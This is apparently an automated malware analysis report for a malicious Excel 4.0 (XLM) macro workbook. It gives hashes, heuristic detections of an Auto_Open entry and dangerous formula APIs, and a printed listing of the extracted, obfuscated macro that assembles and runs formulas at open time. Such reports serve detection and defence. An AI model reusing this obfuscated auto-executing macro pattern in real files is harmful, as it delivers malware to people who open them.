Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f0aac66ddf1351cd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:01 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 5baabf9643262d1557f18669d9aa8a6c SHA-1: 1e79af817372e58f348236ca67c20bc198f9b321 SHA-256: f0aac66ddf1351cde2d4b69b5219f267d40b3adc91c9c4ff7e9908714a046e29
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6404 bytes
SHA-256: afc84599c86e92f5cde16182fd9b287f487b40d4900fbf4b619ade3f2c96a40d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kAYAI
' 0018     22 LABEL : Cell Value, String Constant - AHOVxLY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C182 
' 0018     27 LABEL : Cell Value, String Constant - bplMbPdtcPHx len=0 
' 0018     26 LABEL : Cell Value, String Constant - cajHulaJsQO len=0 
' 0018     21 LABEL : Cell Value, String Constant - EINjFx len=0 
' 0018     22 LABEL : Cell Value, String Constant - hNQUoBc len=0 
' 0018     22 LABEL : Cell Value, String Constant - htyLFnG len=0 
' 0018     20 LABEL : Cell Value, String Constant - HVAuO len=0 
' 0018     21 LABEL : Cell Value, String Constant - iblxyp len=0 
' 0018     24 LABEL : Cell Value, String Constant - iFAcbEWwh len=0 
' 0018     27 LABEL : Cell Value, String Constant - JwwwczslYcrJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - lRkWs len=0 
' 0018     25 LABEL : Cell Value, String Constant - MWsDQoebYe len=0 
' 0018     26 LABEL : Cell Value, String Constant - oebCfOfTfty len=0 
' 0018     23 LABEL : Cell Value, String Constant - shbzASfr len=0 
' 0018     23 LABEL : Cell Value, String Constant - ueEdkkbA len=0 
' 0018     22 LABEL : Cell Value, String Constant - VFRKIsG len=0 
' 0018     24 LABEL : Cell Value, String Constant - VriqbAGkc len=0 
' 0018     22 LABEL : Cell Value, String Constant - yhnLeQs len=0 
' 0018     22 LABEL : Cell Value, String Constant - YSTkBdz len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZgdSlQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kAYAI,C83,"SET.NAME("iblxyp",VALUE("0"))",""
'  kAYAI,C85,"SET.NAME("AHOVxLY",iblxyp)",""
'  kAYAI,C90,"SET.NAME("yhnLeQs",iblxyp)",""
'  kAYAI,C94,"SET.NAME("YSTkBdz",COUNTA(HVAuO))",""
'  kAYAI,C96,"SET.NAME("lRkWs",COUNTA(htyLFnG))",""
'  kAYAI,C101,[],""
'  kAYAI,C104,"SET.NAME("shbzASfr","")",""
'  kAYAI,C107,"AHOVxLY",""
'  kAYAI,C111,"SET.NAME("ZgdSlQ",HLOOKUP("*",HVAuO,AHOVxLY,FALSE))",""
'  kAYAI,C116,"MWsDQoebYe",""
'  kAYAI,C121,"SET.NAME("hNQUoBc",iblxyp)",""
'  kAYAI,C123,[],""
'  kAYAI,C128,"hNQUoBc",""
'  kAYAI,C132,"ueEdkkbA",""
'  kAYAI,C137,"cajHulaJsQO",""
'  kAYAI,C142,"oebCfOfTfty",""
'  kAYAI,C147,"SET.NAME("JwwwczslYcrJ",VALUE(HLOOKUP("*",htyLFnG,oebCfOfTfty,FALSE)))",""
'  kAYAI,C151,"VFRKIsG",""
'  kAYAI,C156,"shbzASfr",""
'  kAYAI,C160,"yhnLeQs",""
'  kAYAI,C163,NEXT(),""
'  kAYAI,C165,"iFAcbEWwh",""
'  kAYAI,C168,"SET.NAME("f",INT(T(FORMULA(T(shbzASfr)&"",""&T(iFAcbEWwh)))))",""
'  kAYAI,C172,"EINjFx",""
'  kAYAI,C174,NEXT(),""
'  kAYAI,C179,RETURN(),""
'  kAYAI,C207,"SET.NAME("bplMbPdtcPHx",C83)",""
'  kAYAI,C209,"HVAuO",""
'  kAYAI,C214,"SET.NAME("htyLFnG",R45C15)",""
'  kAYAI,C216,"SET.NAME("EINjFx",225)",""
'  kAYAI,C219,"SET.NAME("VriqbAGkc",3)",""
'  kAYAI,C224,bplMbPdtcPHx(),""
'  kAYAI,C225,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.